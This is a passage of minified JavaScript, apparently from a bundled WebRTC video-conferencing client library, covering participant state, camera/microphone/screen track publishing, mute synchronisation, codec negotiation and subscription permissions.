isCameraEnabled(){var e;const t=this.getTrackPublication(y.Source.Camera);return!(!((e=t==null?void 0:t.isMuted)!==null&&e!==void 0)||e)}get isMicrophoneEnabled(){var e;const t=this.getTrackPublication(y.Source.Microphone);return!(!((e=t==null?void 0:t.isMuted)!==null&&e!==void 0)||e)}get isScreenShareEnabled(){return!!this.getTrackPublication(y.Source.ScreenShare)}get isLocal(){return!1}get joinedAt(){return this.participantInfo?new Date(Number.parseInt(this.participantInfo.joinedAt.toString())*1e3):new Date}updateInfo(e){return this.participantInfo&&this.participantInfo.sid===e.sid&&this.participantInfo.version>e.version?!1:(this.identity=e.identity,this.sid=e.sid,this._setName(e.name),this._setMetadata(e.metadata),e.permission&&this.setPermissions(e.permission),this.participantInfo=e,this.log.trace("update participant info",Object.assign(Object.assign({},this.logContext),{info:e})),!0)}_setMetadata(e){const t=this.metadata!==e,n=this.metadata;this.metadata=e,t&&this.emit(C.ParticipantMetadataChanged,n)}_setName(e){const t=this.name!==e;this.name=e,t&&this.emit(C.ParticipantNameChanged,e)}setPermissions(e){var t,n,r,s,o;const a=this.permissions,c=e.canPublish!==((t=this.permissions)===null||t===void 0?void 0:t.canPublish)||e.canSubscribe!==((n=this.permissions)===null||n===void 0?void 0:n.canSubscribe)||e.canPublishData!==((r=this.permissions)===null||r===void 0?void 0:r.canPublishData)||e.hidden!==((s=this.permissions)===null||s===void 0?void 0:s.hidden)||e.recorder!==((o=this.permissions)===null||o===void 0?void 0:o.recorder)||e.canPublishSources.length!==this.permissions.canPublishSources.length||e.canPublishSources.some((d,u)=>{var l;return d!==((l=this.permissions)===null||l===void 0?void 0:l.canPublishSources[u])});return this.permissions=e,c&&this.emit(C.ParticipantPermissionsChanged,a),c}setIsSpeaking(e){e!==this.isSpeaking&&(this.isSpeaking=e,e&&(this.lastSpokeAt=new Date),this.emit(C.IsSpeakingChanged,e))}setConnectionQuality(e){const t=this._connectionQuality;this._connectionQuality=su(e),t!==this._connectionQuality&&this.emit(C.ConnectionQualityChanged,this._connectionQuality)}setAudioContext(e){this.audioContext=e,this.audioTrackPublications.forEach(t=>(t.track instanceof $e||t.track instanceof Y)&&t.track.setAudioContext(e))}addTrackPublication(e){e.on(P.Muted,()=>{this.emit(C.TrackMuted,e)}),e.on(P.Unmuted,()=>{this.emit(C.TrackUnmuted,e)});const t=e;switch(t.track&&(t.track.sid=e.trackSid),this.trackPublications.set(e.trackSid,e),e.kind){case y.Kind.Audio:this.audioTrackPublications.set(e.trackSid,e);break;case y.Kind.Video:this.videoTrackPublications.set(e.trackSid,e);break}}}function ou(i){var e,t,n;if(!i.participantSid&&!i.participantIdentity)throw new Error("Invalid track permission, must provide at least one of participantIdentity and participantSid");return new es({participantIdentity:(e=i.participantIdentity)!==null&&e!==void 0?e:"",participantSid:(t=i.participantSid)!==null&&t!==void 0?t:"",allTracks:(n=i.allowAll)!==null&&n!==void 0?n:!1,trackSids:i.allowedTrackSids||[]})}class $i extends lo{constructor(e,t,n,r){super(e,t,void 0,void 0,{loggerName:r.loggerName,loggerContextCb:()=>this.engine.logContext}),this.pendingPublishing=new Set,this.pendingPublishPromises=new Map,this.participantTrackPermissions=[],this.allParticipantsAllowedToSubscribe=!0,this.encryptionType=re.NONE,this.handleReconnecting=()=>{this.reconnectFuture||(this.reconnectFuture=new eo)},this.handleReconnected=()=>{var s,o;(o=(s=this.reconnectFuture)===null||s===void 0?void 0:s.resolve)===null||o===void 0||o.call(s),this.reconnectFuture=void 0,this.updateTrackSubscriptionPermissions()},this.handleDisconnected=()=>{var s,o;this.reconnectFuture&&(this.reconnectFuture.promise.catch(a=>this.log.warn(a.message,this.logContext)),(o=(s=this.reconnectFuture)===null||s===void 0?void 0:s.reject)===null||o===void 0||o.call(s,"Got disconnected during reconnection attempt"),this.reconnectFuture=void 0)},this.updateTrackSubscriptionPermissions=()=>{this.log.debug("updating track subscription permissions",Object.assign(Object.assign({},this.logContext),{allParticipantsAllowed:this.allParticipantsAllowedToSubscribe,participantTrackPermissions:this.participantTrackPermissions})),this.engine.client.sendUpdateSubscriptionPermissions(this.allParticipantsAllowedToSubscribe,this.participantTrackPermissions.map(s=>ou(s)))},this.onTrackUnmuted=s=>{this.onTrackMuted(s,s.isUpstreamPaused)},this.onTrackMuted=(s,o)=>{if(o===void 0&&(o=!0),!s.sid){this.log.error("could not update mute status for unpublished track",Object.assign(Object.assign({},this.logContext),F(s)));return}this.engine.updateMuteStatus(s.sid,o)},this.onTrackUpstreamPaused=s=>{this.log.debug("upstream paused",Object.assign(Object.assign({},this.logContext),F(s))),this.onTrackMuted(s,!0)},this.onTrackUpstreamResumed=s=>{this.log.debug("upstream resumed",Object.assign(Object.assign({},this.logContext),F(s))),this.onTrackMuted(s,s.isMuted)},this.onTrackFeatureUpdate=s=>{const o=this.audioTrackPublications.get(s.sid);if(!o){this.log.warn("Could not update local audio track settings, missing publication for track ".concat(s.sid),this.logContext);return}this.engine.client.sendUpdateLocalAudioTrack(o.trackSid,o.getTrackFeatures())},this.handleSubscribedQualityUpdate=s=>p(this,void 0,void 0,function*(){var o,a,c,d,u,l;if(!(!((u=this.roomOptions)===null||u===void 0)&&u.dynacast))return;const h=this.videoTrackPublications.get(s.trackSid);if(!h){this.log.warn("received subscribed quality update for unknown track",Object.assign(Object.assign({},this.logContext),{trackSid:s.trackSid}));return}if(s.subscribedCodecs.length>0){if(!h.videoTrack)return;const b=yield h.videoTrack.setPublishingCodecs(s.subscribedCodecs);try{for(var f=!0,v=qe(b),g;g=yield v.next(),o=g.done,!o;f=!0){d=g.value,f=!1;const m=d;td(m)&&(this.log.debug("publish ".concat(m," for ").concat(h.videoTrack.sid),Object.assign(Object.assign({},this.logContext),F(h))),yield this.publishAdditionalCodecForTrack(h.videoTrack,m,h.options))}}catch(m){a={error:m}}finally{try{!f&&!o&&(c=v.return)&&(yield c.call(v))}finally{if(a)throw a.error}}}else s.subscribedQualities.length>0&&(yield(l=h.videoTrack)===null||l===void 0?void 0:l.setPublishingLayers(s.subscribedQualities))}),this.handleLocalTrackUnpublished=s=>{const o=this.trackPublications.get(s.trackSid);if(!o){this.log.warn("received unpublished event for unknown track",Object.assign(Object.assign({},this.logContext),{trackSid:s.trackSid}));return}this.unpublishTrack(o.track)},this.handleTrackEnded=s=>p(this,void 0,void 0,function*(){if(s.source===y.Source.ScreenShare||s.source===y.Source.ScreenShareAudio)this.log.debug("unpublishing local track due to TrackEnded",Object.assign(Object.assign({},this.logContext),F(s))),this.unpublishTrack(s);else if(s.isUserProvided)yield s.mute();else if(s instanceof Y||s instanceof ie)try{if(ne())try{const o=yield navigator==null?void 0:navigator.permissions.query({name:s.source===y.Source.Camera?"camera":"microphone"});if(o&&o.state==="denied")throw this.log.warn("user has revoked access to ".concat(s.source),Object.assign(Object.assign({},this.logContext),F(s))),o.onchange=()=>{o.state!=="denied"&&(s.isMuted||s.restartTrack(),o.onchange=null)},new Error("GetUserMedia Permission denied")}catch{}s.isMuted||(this.log.debug("track ended, attempting to use a different device",Object.assign(Object.assign({},this.logContext),F(s))),yield s.restartTrack())}catch{this.log.warn("could not restart track, muting instead",Object.assign(Object.assign({},this.logContext),F(s))),yield s.mute()}}),this.audioTrackPublications=new Map,this.videoTrackPublications=new Map,this.trackPublications=new Map,this.engine=n,this.roomOptions=r,this.setupEngine(n),this.activeDeviceMap=new Map}get lastCameraError(){return this.cameraError}get lastMicrophoneError(){return this.microphoneError}get isE2EEEnabled(){return this.encryptionType!==re.NONE}getTrackPublication(e){const t=super.getTrackPublication(e);if(t)return t}getTrackPublicationByName(e){const t=super.getTrackPublicationByName(e);if(t)return t}setupEngine(e){this.engine=e,this.engine.on(E.RemoteMute,(t,n)=>{const r=this.trackPublications.get(t);!r||!r.track||(n?r.mute():r.unmute())}),this.engine.on(E.Connected,this.handleReconnected).on(E.SignalRestarted,this.handleReconnected).on(E.SignalResumed,this.handleReconnected).on(E.Restarting,this.handleReconnecting).on(E.Resuming,this.handleReconnecting).on(E.LocalTrackUnpublished,this.handleLocalTrackUnpublished).on(E.SubscribedQualityUpdate,this.handleSubscribedQualityUpdate).on(E.Disconnected,this.handleDisconnected)}setMetadata(e){var t;this.engine.client.sendUpdateLocalMetadata(e,(t=this.name)!==null&&t!==void 0?t:"")}setName(e){var t;this.engine.client.sendUpdateLocalMetadata((t=this.metadata)!==null&&t!==void 0?t:"",e)}setCameraEnabled(e,t,n){return this.setTrackEnabled(y.Source.Camera,e,t,n)}setMicrophoneEnabled(e,t,n){return this.setTrackEnabled(y.Source.Microphone,e,t,n)}setScreenShareEnabled(e,t,n){return this.setTrackEnabled(y.Source.ScreenShare,e,t,n)}setPermissions(e){const t=this.permissions,n=super.setPermissions(e);return n&&t&&this.emit(C.ParticipantPermissionsChanged,t),n}setE2EEEnabled(e){return p(this,void 0,void 0,function*(){this.encryptionType=e?re.GCM:re.NONE,yield this.republishAllTracks(void 0,!1)})}setTrackEnabled(e,t,n,r){return p(this,void 0,void 0,function*(){var s,o;this.log.debug("setTrackEnabled",Object.assign(Object.assign({},this.logContext),{source:e,enabled:t}));let a=this.getTrackPublication(e);if(t)if(a)yield a.unmute();else{let c;if(this.pendingPublishing.has(e)){this.log.info("skipping duplicate published source",Object.assign(Object.assign({},this.logContext),{source:e}));return}this.pendingPublishing.add(e);try{switch(e){case y.Source.Camera:c=yield this.createTracks({video:(s=n)!==null&&s!==void 0?s:!0});break;case y.Source.Microphone:c=yield this.createTracks({audio:(o=n)!==null&&o!==void 0?o:!0});break;case y.Source.ScreenShare:c=yield this.createScreenTracks(Object.assign({},n));break;default:throw new ge(e)}const d=[];for(const l of c)this.log.info("publishing track",Object.assign(Object.assign({},this.logContext),F(l))),d.push(this.publishTrack(l,r));[a]=yield Promise.all(d)}catch(d){throw c==null||c.forEach(u=>{u.stop()}),d instanceof Error&&!(d instanceof ge)&&this.emit(C.MediaDevicesError,d),d}finally{this.pendingPublishing.delete(e)}}else if(a&&a.track)if(e===y.Source.ScreenShare){a=yield this.unpublishTrack(a.track);const c=this.getTrackPublication(y.Source.ScreenShareAudio);c&&c.track&&this.unpublishTrack(c.track)}else yield a.mute();return a})}enableCameraAndMicrophone(){return p(this,void 0,void 0,function*(){if(!(this.pendingPublishing.has(y.Source.Camera)||this.pendingPublishing.has(y.Source.Microphone))){this.pendingPublishing.add(y.Source.Camera),this.pendingPublishing.add(y.Source.Microphone);try{const e=yield this.createTracks({audio:!0,video:!0});yield Promise.all(e.map(t=>this.publishTrack(t)))}finally{this.pendingPublishing.delete(y.Source.Camera),this.pendingPublishing.delete(y.Source.Microphone)}}})}createTracks(e){return p(this,void 0,void 0,function*(){var t,n;const r=Qs(e,(t=this.roomOptions)===null||t===void 0?void 0:t.audioCaptureDefaults,(n=this.roomOptions)===null||n===void 0?void 0:n.videoCaptureDefaults),s=ii(r);let o;try{o=yield navigator.mediaDevices.getUserMedia(s)}catch(a){throw a instanceof Error&&(s.audio&&(this.microphoneError=a),s.video&&(this.cameraError=a)),a}return s.audio&&(this.microphoneError=void 0,this.emit(C.AudioStreamAcquired)),s.video&&(this.cameraError=void 0),Promise.all(o.getTracks().map(a=>p(this,void 0,void 0,function*(){const c=a.kind==="audio";let d=c?r.audio:r.video;(typeof d=="boolean"||!d)&&(d={});let u;const l=c?s.audio:s.video;typeof l!="boolean"&&(u=l);const h=oo(a,u,{loggerName:this.roomOptions.loggerName,loggerContextCb:()=>this.logContext});return h.kind===y.Kind.Video?h.source=y.Source.Camera:h.kind===y.Kind.Audio&&(h.source=y.Source.Microphone,h.setAudioContext(this.audioContext)),h.mediaStream=o,d.processor&&(h instanceof Y?yield h.setProcessor(d.processor):yield h.setProcessor(d.processor)),h})))})}createScreenTracks(e){return p(this,void 0,void 0,function*(){if(e===void 0&&(e={}),navigator.mediaDevices.getDisplayMedia===void 0)throw new un("getDisplayMedia not supported");e.resolution===void 0&&!pd()&&(e.resolution=hn.h1080fps30.resolution);const t=od(e),n=yield navigator.mediaDevices.getDisplayMedia(t),r=n.getVideoTracks();if(r.length===0)throw new ge("no video track found");const s=new ie(r[0],void 0,!1,{loggerName:this.roomOptions.loggerName,loggerContextCb:()=>this.logContext});s.source=y.Source.ScreenShare,e.contentHint&&(s.mediaStreamTrack.contentHint=e.contentHint);const o=[s];if(n.getAudioTracks().length>0){this.emit(C.AudioStreamAcquired);const a=new Y(n.getAudioTracks()[0],void 0,!1,this.audioContext,{loggerName:this.roomOptions.loggerName,loggerContextCb:()=>this.logContext});a.source=y.Source.ScreenShareAudio,o.push(a)}return o})}publishTrack(e,t){return p(this,void 0,void 0,function*(){var n,r,s,o;e instanceof Y&&e.setAudioContext(this.audioContext),yield(n=this.reconnectFuture)===null||n===void 0?void 0:n.promise,e instanceof Tt&&this.pendingPublishPromises.has(e)&&(yield this.pendingPublishPromises.get(e));let a;if(e instanceof MediaStreamTrack)a=e.getConstraints();else{a=e.constraints;let f;switch(e.source){case y.Source.Microphone:f="audioinput";break;case y.Source.Camera:f="videoinput"}f&&this.activeDeviceMap.has(f)&&(a=Object.assign(Object.assign({},a),{deviceId:this.activeDeviceMap.get(f)}))}if(e instanceof MediaStreamTrack)switch(e.kind){case"audio":e=new Y(e,a,!0,this.audioContext,{loggerName:this.roomOptions.loggerName,loggerContextCb:()=>this.logContext});break;case"video":e=new ie(e,a,!0,{loggerName:this.roomOptions.loggerName,loggerContextCb:()=>this.logContext});break;default:throw new ge("unsupported MediaStreamTrack kind ".concat(e.kind))}else e.updateLoggerOptions({loggerName:this.roomOptions.loggerName,loggerContextCb:()=>this.logContext});let c;if(this.trackPublications.forEach(f=>{f.track&&f.track===e&&(c=f)}),c)return this.log.warn("track has already been published, skipping",Object.assign(Object.assign({},this.logContext),F(c))),c;const d="channelCount"in e.mediaStreamTrack.getSettings()&&e.mediaStreamTrack.getSettings().channelCount===2||e.mediaStreamTrack.getConstraints().channelCount===2,u=(r=t==null?void 0:t.forceStereo)!==null&&r!==void 0?r:d;u&&(t||(t={}),t.dtx===void 0&&this.log.info("Opus DTX will be disabled for stereo tracks by default. Enable them explicitly to make it work.",Object.assign(Object.assign({},this.logContext),F(e))),t.red===void 0&&this.log.info("Opus RED will be disabled for stereo tracks by default. Enable them explicitly to make it work."),(s=t.dtx)!==null&&s!==void 0||(t.dtx=!1),(o=t.red)!==null&&o!==void 0||(t.red=!1));const l=Object.assign(Object.assign({},this.roomOptions.publishDefaults),t);!md()&&this.roomOptions.e2ee&&(this.log.info("End-to-end encryption is set up, simulcast publishing will be disabled on Safari versions and iOS browsers running iOS < v17.2",Object.assign({},this.logContext)),l.simulcast=!1),l.source&&(e.source=l.source);const h=this.publish(e,l,u);this.pendingPublishPromises.set(e,h);try{return yield h}catch(f){throw f}finally{this.pendingPublishPromises.delete(e)}})}publish(e,t,n){return p(this,void 0,void 0,function*(){var r,s,o,a,c,d,u,l,h,f,v,g,b;Array.from(this.trackPublications.values()).find(D=>e instanceof Tt&&D.source===e.source)&&e.source!==y.Source.Unknown&&this.log.info("publishing a second track with the same source: ".concat(e.source),Object.assign(Object.assign({},this.logContext),F(e))),t.stopMicTrackOnMute&&e instanceof Y&&(e.stopOnMute=!0),e.source===y.Source.ScreenShare&&Xe()&&(t.simulcast=!1),t.videoCodec==="av1"&&!ld()&&(t.videoCodec=void 0),t.videoCodec==="vp9"&&!hd()&&(t.videoCodec=void 0),t.videoCodec===void 0&&(t.videoCodec=Hi);const R=t.videoCodec;e.on(P.Muted,this.onTrackMuted),e.on(P.Unmuted,this.onTrackUnmuted),e.on(P.Ended,this.handleTrackEnded),e.on(P.UpstreamPaused,this.onTrackUpstreamPaused),e.on(P.UpstreamResumed,this.onTrackUpstreamResumed),e.on(P.AudioTrackFeatureUpdate,this.onTrackFeatureUpdate);const I=new Oi({cid:e.mediaStreamTrack.id,name:t.name,type:y.kindToProto(e.kind),muted:e.isMuted,source:y.sourceToProto(e.source),disableDtx:!(!((r=t.dtx)!==null&&r!==void 0)||r),encryption:this.encryptionType,stereo:n,disableRed:this.isE2EEEnabled||!(!((s=t.red)!==null&&s!==void 0)||s),stream:t==null?void 0:t.stream});let x;if(e.kind===y.Kind.Video){let D={width:0,height:0};try{D=yield e.waitForDimensions()}catch{const Re=(a=(o=this.roomOptions.videoCaptureDefaults)===null||o===void 0?void 0:o.resolution)!==null&&a!==void 0?a:yt.h720.resolution;D={width:Re.width,height:Re.height},this.log.error("could not determine track dimensions, using defaults",Object.assign(Object.assign(Object.assign({},this.logContext),F(e)),{dims:D}))}I.width=D.width,I.height=D.height,e instanceof ie&&(ft(R)&&(e.source===y.Source.ScreenShare&&(t.scalabilityMode="L1T3","contentHint"in e.mediaStreamTrack&&(e.mediaStreamTrack.contentHint="motion",this.log.info("forcing contentHint to motion for screenshare with SVC codecs",Object.assign(Object.assign({},this.logContext),F(e))))),t.scalabilityMode=(c=t.scalabilityMode)!==null&&c!==void 0?c:"L3T3_KEY"),I.simulcastCodecs=[new Ii({codec:R,cid:e.mediaStreamTrack.id})],t.backupCodec===!0&&(t.backupCodec={codec:Hi}),t.backupCodec&&R!==t.backupCodec.codec&&I.encryption===re.NONE&&(this.roomOptions.dynacast||(this.roomOptions.dynacast=!0),I.simulcastCodecs.push(new Ii({codec:t.backupCodec.codec,cid:""})))),x=Qi(e.source===y.Source.ScreenShare,I.width,I.height,t),I.layers=cr(I.width,I.height,x,ft(t.videoCodec))}else e.kind===y.Kind.Audio&&(x=[{maxBitrate:(d=t.audioPreset)===null||d===void 0?void 0:d.maxBitrate,priority:(l=(u=t.audioPreset)===null||u===void 0?void 0:u.priority)!==null&&l!==void 0?l:"high",networkPriority:(f=(h=t.audioPreset)===null||h===void 0?void 0:h.priority)!==null&&f!==void 0?f:"high"}]);if(!this.engine||this.engine.isClosed)throw new W("cannot publish track when not connected");const O=yield this.engine.addTrack(I);let ee;if(O.codecs.forEach(D=>{ee===void 0&&(ee=D.mimeType)}),ee&&e.kind===y.Kind.Video){const D=$s(ee);D!==R&&(this.log.debug("falling back to server selected codec",Object.assign(Object.assign(Object.assign({},this.logContext),F(e)),{codec:D})),t.videoCodec=D,x=Qi(e.source===y.Source.ScreenShare,I.width,I.height,t))}const H=new Ht(e.kind,O,e,{loggerName:this.roomOptions.loggerName,loggerContextCb:()=>this.logContext});if(H.options=t,e.sid=O.sid,!this.engine.pcManager)throw new W("pcManager is not ready");if(this.log.debug("publishing ".concat(e.kind," with encodings"),Object.assign(Object.assign({},this.logContext),{encodings:x,trackInfo:O})),e.sender=yield this.engine.createSender(e,t,x),e instanceof ie&&((v=t.degradationPreference)!==null&&v!==void 0||(t.degradationPreference=Yd(e)),e.setDegradationPreference(t.degradationPreference)),x)if(Xe()&&e.kind===y.Kind.Audio){let D;for(const V of this.engine.pcManager.publisher.getTransceivers())if(V.sender===e.sender){D=V;break}D&&this.engine.pcManager.publisher.setTrackCodecBitrate({transceiver:D,codec:"opus",maxbr:!((g=x[0])===null||g===void 0)&&g.maxBitrate?x[0].maxBitrate/1e3:0})}else e.codec&&ft(e.codec)&&(!((b=x[0])===null||b===void 0)&&b.maxBitrate)&&this.engine.pcManager.publisher.setTrackCodecBitrate({cid:I.cid,codec:e.codec,maxbr:x[0].maxBitrate/1e3});return yield this.engine.negotiate(),e instanceof ie?e.startMonitor(this.engine.client):e instanceof Y&&e.startMonitor(),this.addTrackPublication(H),this.emit(C.LocalTrackPublished,H),H})}get isLocal(){return!0}publishAdditionalCodecForTrack(e,t,n){return p(this,void 0,void 0,function*(){var r;if(this.encryptionType!==re.NONE)return;let s;if(this.trackPublications.forEach(l=>{l.track&&l.track===e&&(s=l)}),!s)throw new ge("track is not published");if(!(e instanceof ie))throw new ge("track is not a video track");const o=Object.assign(Object.assign({},(r=this.roomOptions)===null||r===void 0?void 0:r.publishDefaults),n),a=Jd(e,t,o);if(!a){this.log.info("backup codec has been disabled, ignoring request to add additional codec for track",Object.assign(Object.assign({},this.logContext),F(e)));return}const c=e.addSimulcastTrack(t,a);if(!c)return;const d=new Oi({cid:c.mediaStreamTrack.id,type:y.kindToProto(e.kind),muted:e.isMuted,source:y.sourceToProto(e.source),sid:e.sid,simulcastCodecs:[{codec:o.videoCodec,cid:c.mediaStreamTrack.id}]});if(d.layers=cr(d.width,d.height,a),!this.engine||this.engine.isClosed)throw new W("cannot publish track when not connected");const u=yield this.engine.addTrack(d);yield this.engine.createSimulcastSender(e,c,o,a),yield this.engine.negotiate(),this.log.debug("published ".concat(t," for track ").concat(e.sid),Object.assign(Object.assign({},this.logContext),{encodings:a,trackInfo:u}))})}unpublishTrack(e,t){return p(this,void 0,void 0,function*(){var n,r;const s=this.getPublicationForTrack(e),o=s?F(s):void 0;if(this.log.debug("unpublishing track",Object.assign(Object.assign({},this.logContext),o)),!s||!s.track){this.log.warn("track was not unpublished because no publication was found",Object.assign(Object.assign({},this.logContext),o));return}e=s.track,e.off(P.Muted,this.onTrackMuted),e.off(P.Unmuted,this.onTrackUnmuted),e.off(P.Ended,this.handleTrackEnded),e.off(P.UpstreamPaused,this.onTrackUpstreamPaused),e.off(P.UpstreamResumed,this.onTrackUpstreamResumed),e.off(P.AudioTrackFeatureUpdate,this.onTrackFeatureUpdate),t===void 0&&(t=(r=(n=this.roomOptions)===null||n===void 0?void 0:n.stopLocalTrackOnUnpublish)!==null&&r!==void 0?r:!0),t&&e.stop();let a=!1;const c=e.sender;if(e.sender=void 0,this.engine.pcManager&&this.engine.pcManager.currentState<q.FAILED&&c)try{for(const d of this.engine.pcManager.publisher.getTransceivers())d.sender===c&&(d.direction="inactive",a=!0);if(this.engine.removeTrack(c)&&(a=!0),e instanceof ie){for(const[,d]of e.simulcastCodecs)d.sender&&(this.engine.removeTrack(d.sender)&&(a=!0),d.sender=void 0);e.simulcastCodecs.clear()}}catch(d){this.log.warn("failed to unpublish track",Object.assign(Object.assign(Object.assign({},this.logContext),o),{error:d}))}switch(this.trackPublications.delete(s.trackSid),s.kind){case y.Kind.Audio:this.audioTrackPublications.delete(s.trackSid);break;case y.Kind.Video:this.videoTrackPublications.delete(s.trackSid);break}return this.emit(C.LocalTrackUnpublished,s),s.setTrack(void 0),a&&(yield this.engine.negotiate()),s})}unpublishTracks(e){return p(this,void 0,void 0,function*(){return(yield Promise.all(e.map(n=>this.unpublishTrack(n)))).filter(n=>n instanceof Ht)})}republishAllTracks(e){return p(this,arguments,void 0,function(t){var n=this;let r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;return function*(){const s=[];n.trackPublications.forEach(o=>{o.track&&(t&&(o.options=Object.assign(Object.assign({},o.options),t)),s.push(o))}),yield Promise.all(s.map(o=>p(n,void 0,void 0,function*(){const a=o.track;yield this.unpublishTrack(a,!1),r&&!a.isMuted&&a.source!==y.Source.ScreenShare&&a.source!==y.Source.ScreenShareAudio&&(a instanceof Y||a instanceof ie)&&!a.isUserProvided&&(this.log.debug("restarting existing track",Object.assign(Object.assign({},this.logContext),{track:o.trackSid})),yield a.restartTrack()),yield this.publishTrack(a,o.options)})))}()})}publishData(e){return p(this,arguments,void 0,function(t){var n=this;let r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};return function*(){const s=r.reliable?te.RELIABLE:te.LOSSY,o=r.destinationIdentities,a=r.topic,c=new Vr({kind:s,value:{case:"user",value:new Kr({participantIdentity:n.identity,payload:t,destinationIdentities:o,topic:a})}});yield n.engine.sendDataPacket(c,s)}()})}setTrackSubscriptionPermissions(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:[];this.participantTrackPermissions=t,this.allParticipantsAllowedToSubscribe=e,this.engine.client.isDisconnected||this.updateTrackSubscriptionPermissions()}updateInfo(e){return e.sid!==this.sid||!super.updateInfo(e)?!1:(e.tracks.forEach(t=>{var n,r;const s=this.trackPublications.get(t.sid);if(s){const o=s.isMuted||((r=(n=s.track)===null||n===void 0?void 0:n.isUpstreamPaused)!==null&&r!==void 0?r:!1);o!==t.muted&&(this.log.debug("updating server mute state after reconcile",Object.assign(Object.assign(Object.assign({},this.logContext),F(s)),{mutedOnServer:o})),this.engine.client.sendMuteTrack(t.sid,o))}}),!0)}getPublicationForTrack(e){let t;return this.trackPublications.forEach(n=>{const r=n.track;r&&(e instanceof MediaStreamTrack?(r instanceof Y||r instanceof ie)&&r.mediaStreamTrack===e&&(t=n):e===r&&(t=n))}),t}}class St extends ye{constructor(e,t,n,r){super(e,t.sid,t.name,r),this.track=void 0,this.allowed=!0,this.disabled=!1,this.currentVideoQuality=se.HIGH,this.handleEnded=s=>{this.setTrack(void 0),this.emit(P.Ended,s)},this.handleVisibilityChange=s=>{this.log.debug("adaptivestream video visibility ".concat(this.trackSid,", visible=").concat(s),this.logContext),this.disabled=!s,this.emitTrackUpdate()},this.handleVideoDimensionsChange=s=>{this.log.debug("adaptivestream video dimensions ".concat(s.width,"x").concat(s.height),this.logContext),this.videoDimensions=s,this.emitTrackUpdate()},this.subscribed=n,this.updateInfo(t)}setSubscribed(e){const t=this.subscriptionStatus,n=this.permissionStatus;this.subscribed=e,e&&(this.allowed=!0);const r=new Xt({trackSids:[this.trackSid],subscribe:this.subscribed,participantTracks:[new Gr({participantSid:"",trackSids:[this.trackSid]})]});this.emit(P.UpdateSubscription,r),this.emitSubscriptionUpdateIfChanged(t),this.emitPermissionUpdateIfChanged(n)}get subscriptionStatus(){return this.subscribed===!1?ye.SubscriptionStatus.Unsubscribed:super.isSubscribed?ye.SubscriptionStatus.Subscribed:ye.SubscriptionStatus.Desired}get permissionStatus(){return this.allowed?ye.PermissionStatus.Allowed:ye.PermissionStatus.NotAllowed}get isSubscribed(){return this.subscribed===!1?!1:super.isSubscribed}get isDesired(){return this.subscribed!==!1}get isEnabled(){return!this.disabled}setEnabled(e){!this.isManualOperationAllowed()||this.disabled===!e||(this.disabled=!e,this.emitTrackUpdate())}setVideoQuality(e){!this.isManualOperationAllowed()||this.currentVideoQuality===e||(this.currentVideoQuality=e,this.videoDimensions=void 0,this.emitTrackUpdate())}setVideoDimensions(e){var t,n;this.isManualOperationAllowed()&&(((t=this.videoDimensions)===null||t===void 0?void 0:t.width)===e.width&&((n=this.videoDimensions)===null||n===void 0?void 0:n.height)===e.height||(this.track instanceof mt&&(this.videoDimensions=e),this.currentVideoQuality=void 0,this.emitTrackUpdate()))}setVideoFPS(e){this.isManualOperationAllowed()&&this.track instanceof mt&&this.fps!==e&&(this.fps=e,this.emitTrackUpdate())}get videoQuality(){return this.currentVideoQuality}setTrack(e){const t=this.subscriptionStatus,n=this.permissionStatus,r=this.track;r!==e&&(r&&(r.off(P.VideoDimensionsChanged,this.handleVideoDimensionsChange),r.off(P.VisibilityChanged,this.handleVisibilityChange),r.off(P.Ended,this.handleEnded),r.detach(),r.stopMonitor(),this.emit(P.Unsubscribed,r)),super.setTrack(e),e&&(e.sid=this.trackSid,e.on(P.VideoDimensionsChanged,this.handleVideoDimensionsChange),e.on(P.VisibilityChanged,this.handleVisibilityChange),e.on(P.Ended,this.handleEnded),this.emit(P.Subscribed,e)),this.emitPermissionUpdateIfChanged(n),this.emitSubscriptionUpdateIfChanged(t))}setAllowed(e){const t=this.subscriptionStatus,n=this.permissionStatus;this.allowed=e,this.emitPermissionUpdateIfChanged(n),this.emitSubscriptionUpdateIfChanged(t)}setSubscriptionError(e){this.emit(P.SubscriptionFailed,e)}updateInfo(e){super.updateInfo(e);const t=this.metadataMuted;this.metadataMuted=e.muted,this.track?this.track.setMuted(e.muted):t!==e.muted&&this.emit(e.muted?P.Muted:P.Unmuted)}emitSubscriptionUpdateIfChanged(e){const t=this.subscriptionStatus;e!==t&&this.emit(P.SubscriptionStatusChanged,t,e)}emitPermissionUpdateIfChanged(e){this.permissionStatus!==e&&this.emit(P.SubscriptionPermissionChanged,this.permissionStatus,e)}isManualOperationAllowed(){return this.kind===y.Kind.Video&&this.isAdaptiveStream?(this.log.warn("adaptive stream is enabled, cannot change video track settings",this.logContext),!1):this.isDesired?!0:(this.log.warn("cannot update track settings when not subscribed",this.logContext),!1)}get isAdaptiveStream(){return this.track instanceof mt&&this.track.isAdaptiveStream}emitTrackUpdate(){const e=new Qr({trackSids:[this.trackSid],disabled:this.disabled,fps:this.fps});this.videoDimensions?(e.width=Math.ceil(this.videoDimensions.width),e.height=Math.ceil(this.videoDimensions.height)):this.currentVideoQuality!==void 0?e.quality=this.currentVideoQuality:e.quality=se.HIGH,this.emit(P.UpdateSettings,e)}}class Jt extends lo{static fromParticipantInfo(e,t,n){return new Jt(e,t.sid,t.identity,t.name,t.metadata,n,t.kind)}get logContext(){return Object.assign(Object.assign({},super.logContext),{rpID:this.sid,remoteParticipant:this.identity})}constructor(e,t,n,r,s,o){let a=arguments.length>6&&arguments[6]!==void 0?arguments[6]:Wt.STANDARD;super(t,n||"",r,s,o,a),this.signalClient=e,this.trackPublications=new Map,this.audioTrackPublications=new Map,this.videoTrackPublications=new Map,this.volumeMap=new Map}addTrackPublication(e){super.addTrackPublication(e),e.on(P.UpdateSettings,t=>{this.log.debug("send update 